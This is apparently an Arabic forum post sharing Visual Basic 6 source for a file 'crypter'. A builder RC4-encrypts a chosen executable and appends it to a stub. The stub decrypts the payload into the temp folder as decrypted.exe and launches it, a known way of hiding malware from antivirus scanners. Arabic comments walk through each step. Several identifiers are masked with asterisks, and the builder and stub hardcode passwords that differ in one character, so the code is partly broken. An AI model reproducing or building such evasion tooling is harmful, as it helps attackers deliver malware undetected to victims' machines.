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شاهد الفديو
Option Explicit
Const FileSplit = "<%*#%>"
Const pw = "DnT%m25@#qß"
With CommonDialog1 ' انتظار اداه دايلق
.Filter = "Excuteable Files (*exe) | ******" ' استعراض ملف صيغه exe تنفيذيه تستطيع انك تبدل
.DialogTitle = "Select a File"
.ShowOpen ' امر الاستعراض وجلب
End With
****1.**** = CommonDialog1.File**** ' امر احضار الملف في مربع التكست
Dim sStube As String, sFile As String
Open App.Path & "\stube*****" For Binary As #1 ' اسم الستب
sStube = Space(LOF(1))
Get #1, , sStube
Close #1
Open ****1.**** For Binary As #1
sFile = Space(LOF(1))
Get #1, , sFile
Close #1
Open App.Path & "\s3od*****" For Binary As #1 ' اسم الملف الناتج بعد التشفير
Put #1, , sStube & FileSplit & RC4(sFile, pw)
Close #1
MsgBox "مبــروك تم تشفير الملف بنجآح"
Public Function RC4(ByVal Expression As String, ByVal Password As String) As String
On Error Resume Next
Dim RB(0 To 255) As Integer, X As Long, Y As Long, Z As Long, Key() As Byte, ByteArray() As Byte, Temp As Byte
If Len(Password) = 0 Then
Exit Function
End If
If Len(Expression) = 0 Then
Exit Function
End If
If Len(Password) > 256 Then
Key() = StrConv(Left$(Password, 256), vbFromUnicode)
Else
Key() = StrConv(Password, vbFromUnicode)
End If
For X = 0 To 255
RB(X) = X
Next X
X = 0
Y = 0
Z = 0
For X = 0 To 255
Y = (Y + RB(X) + Key(X Mod Len(Password))) Mod 256
Temp = RB(X)
RB(X) = RB(Y)
RB(Y) = Temp
Next X
X = 0
Y = 0
Z = 0
ByteArray() = StrConv(Expression, vbFromUnicode)
For X = 0 To Len(Expression)
Y = (Y + 1) Mod 256
Z = (Z + RB(Y)) Mod 256
Temp = RB(Y)
RB(Y) = RB(Z)
RB(Z) = Temp
ByteArray(X) = ByteArray(X) Xor (RB((RB(Y) + RB(Z)) Mod 256))
Next X
RC4 = StrConv(ByteArray, vbUnicode)
End Function
Option Explicit
Const FileSplit = "<%*#%>"
Const pw = "DnT%m25@#qك"
Public Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Public Sub Main()
Dim sStub As String, sFile As String
Open App.Path & "\" & App********* & ".exe" For Binary As #1 ' اضافة ملف امتدآده تنفيذي
sStub = Space(LOF(1))
Get #1, , sStub ' اسم الستب
Close #1 ' اغلاق
sFile = Split(sStub, FileSplit)(1)
Open Environ("tmp") & "decrypted.exe" For Binary As #1
Put #1, , RC4(sFile, pw)
Close #1 'وضع نسخه باسم مسمي في التيمب واغلاق بعد الانتهاء
Call ShellExecute(0, vbNullString, Environ("tmp") & "decrypted.exe", vbNullString, vbNullString, 1) 'الاتصال بالملف الذي تم نسخه
End Sub
Public Function RC4(ByVal Expression As String, ByVal Password As String) As String
On Error Resume Next
Dim RB(0 To 255) As Integer, X As Long, Y As Long, Z As Long, Key() As Byte, ByteArray() As Byte, Temp As Byte
If Len(Password) = 0 Then
Exit Function
End If
If Len(Expression) = 0 Then
Exit Function
End If
If Len(Password) > 256 Then
Key() = StrConv(Left$(Password, 256), vbFromUnicode)
Else
Key() = StrConv(Password, vbFromUnicode)
End If
For X = 0 To 255
RB(X) = X
Next X
X = 0
Y = 0
Z = 0
For X = 0 To 255
Y = (Y + RB(X) + Key(X Mod Len(Password))) Mod 256
Temp = RB(X)
RB(X) = RB(Y)
RB(Y) = Temp
Next X
X = 0
Y = 0
Z = 0
ByteArray() = StrConv(Expression, vbFromUnicode)
For X = 0 To Len(Expression)
Y = (Y + 1) Mod 256
Z = (Z + RB(Y)) Mod 256
Temp = RB(Y)
RB(Y) = RB(Z)
RB(Z) = Temp
ByteArray(X) = ByteArray(X) Xor (RB((RB(Y) + RB(Z)) Mod 256))
Next X
RC4 = StrConv(ByteArray, vbUnicode)
End Function